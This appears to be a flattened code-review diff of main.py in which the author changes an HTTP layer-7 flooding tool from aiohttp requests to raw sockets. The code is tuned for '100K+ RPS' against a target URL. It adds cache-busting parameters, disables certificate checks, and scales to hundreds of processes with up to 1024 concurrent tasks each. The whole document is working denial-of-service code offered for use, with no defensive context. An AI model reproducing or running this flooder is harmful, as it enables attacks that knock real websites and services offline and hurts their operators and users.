Update main.py
Browse files34 unmodified lines3536373839404142434445464748495051525354555657188 unmodified lines24624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730834 unmodified linesCPU_COUNT = psutil.cpu_count(logical=True) or 8TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)# OPTIMIZED configuration for maximum sustained RPS# Sweet spot: 8K-16K workers for high-core systemsif CPU_COUNT >= 32:# High-core systems (32-64+ cores) - proven stable at 64 procs × 128 concMAX_PROCESSES = CPU_COUNT # 64 processes for 64 coresMAX_CONCURRENCY_PER_PROCESS = 192 # Slightly higher than 128elif CPU_COUNT >= 16:MAX_PROCESSES = CPU_COUNT * 2MAX_CONCURRENCY_PER_PROCESS = 256elif CPU_COUNT >= 8:MAX_PROCESSES = CPU_COUNT * 6 # 48 processes for 8 coresMAX_CONCURRENCY_PER_PROCESS = 768else:MAX_PROCESSES = CPU_COUNT * 4MAX_CONCURRENCY_PER_PROCESS = 512STATS_BATCH_UPDATE_SIZE = 200 # Optimized batch sizeTOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS# --- L7 Enhanced Headers Pool ---188 unmodified lines# OPTIMIZED L7 WORKER PROCESS# ====================================================================================async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):"""Ultra-optimized L7 worker for maximum sustained RPS."""ssl_context = ssl.create_default_context()ssl_context.check_hostname = Falsessl_context.verify_mode = ssl.CERT_NONE# Balanced connector - controlled connection poolconnector = aiohttp.TCPConnector(limit=concurrency * 2, # 2x concurrency for pipelinelimit_per_host=concurrency * 2,ttl_dns_cache=300,force_close=False,enable_cleanup_closed=False,keepalive_timeout=90)# Fast but not too aggressive timeoutstimeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:async def task_worker(worker_id):"""Optimized request loop with keep-alive reuse."""local_counter = 0req_counter = 0headers = {"User-Agent": random.choice(USER_AGENTS),"Connection": "keep-alive","Accept": "*/*"}while not stop_event.is_set():try:# Reuse connections with cache bustingasync with session.get(f"{url}?_={req_counter}",headers=headers,allow_redirects=False) as resp:_ = await resp.read() # Fully consume responselocal_counter += 1req_counter += 1except:req_counter += 1 # Increment even on failure# Batch counter updatesif local_counter >= STATS_BATCH_UPDATE_SIZE:with shared_counter.get_lock():shared_counter.value += local_counterlocal_counter = 0# Final updateif local_counter > 0:with shared_counter.get_lock():shared_counter.value += local_counter# Launch all taskstasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]await asyncio.gather(*tasks, return_exceptions=True)def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):"""L7 worker process entry point."""34 unmodified lines3536373839404142434445464748495051525354555657188 unmodified lines24624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733834 unmodified linesCPU_COUNT = psutil.cpu_count(logical=True) or 8TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)# EXTREME PERFORMANCE configuration for 100K+ RPS# Direct socket approach - maximum workersif CPU_COUNT >= 32:# High-core systems (32-64+ cores) - MAXIMUM POWERMAX_PROCESSES = CPU_COUNT * 4 # 256 processes for 64 coresMAX_CONCURRENCY_PER_PROCESS = 512 # 512 async tasks per processelif CPU_COUNT >= 16:MAX_PROCESSES = CPU_COUNT * 6MAX_CONCURRENCY_PER_PROCESS = 768elif CPU_COUNT >= 8:MAX_PROCESSES = CPU_COUNT * 12 # 96 processes for 8 coresMAX_CONCURRENCY_PER_PROCESS = 1024else:MAX_PROCESSES = CPU_COUNT * 8MAX_CONCURRENCY_PER_PROCESS = 1024STATS_BATCH_UPDATE_SIZE = 500 # Larger batches for extreme performanceTOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS# --- L7 Enhanced Headers Pool ---188 unmodified lines# OPTIMIZED L7 WORKER PROCESS# ====================================================================================async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):"""EXTREME PERFORMANCE - Direct socket-based HTTP flooding for 100K+ RPS."""# Parse targetif url.startswith('https://'):use_ssl = Truehost = url[8:].split(':')[0].split('/')[0]port = 443else:use_ssl = Falsehost = url[7:].split(':')[0].split('/')[0]port = 80if ':' in url.split('//')[1]:port = int(url.split('//')[1].split(':')[1].split('/')[0])path = '/' + '/'.join(url.split('//')[1].split('/')[1:]) if '/' in url.split('//')[1] else '/'# Pre-build HTTP request template (minimal overhead)http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"async def raw_socket_worker(worker_id):"""Ultra-fast direct socket worker - NO HTTP library overhead."""local_counter = 0req_counter = 0sock = Nonewhile not stop_event.is_set():try:# Create new socket if neededif sock is None:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)sock.settimeout(2)sock.connect((host, port))if use_ssl:import ssl as ssl_modulecontext = ssl_module.create_default_context()context.check_hostname = Falsecontext.verify_mode = ssl_module.CERT_NONEsock = context.wrap_socket(sock, server_hostname=host)# Send rapid-fire requestsfor _ in range(50): # Batch 50 requests per socketif stop_event.is_set():breakrequest = http_template.format(req_counter).encode()sock.sendall(request)local_counter += 1req_counter += 1# Try to read response (non-blocking)sock.settimeout(0.01)try:_ = sock.recv(4096)except:passexcept:# Close and reconnect on errorif sock:try:sock.close()except:passsock = None# Batch counter updatesif local_counter >= STATS_BATCH_UPDATE_SIZE:with shared_counter.get_lock():shared_counter.value += local_counterlocal_counter = 0# Cleanupif sock:try:sock.close()except:pass# Final updateif local_counter > 0:with shared_counter.get_lock():shared_counter.value += local_counter# Launch all socket workerstasks = [asyncio.create_task(raw_socket_worker(i)) for i in range(concurrency)]await asyncio.gather(*tasks, return_exceptions=True)def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):"""L7 worker process entry point."""
main.py+89-59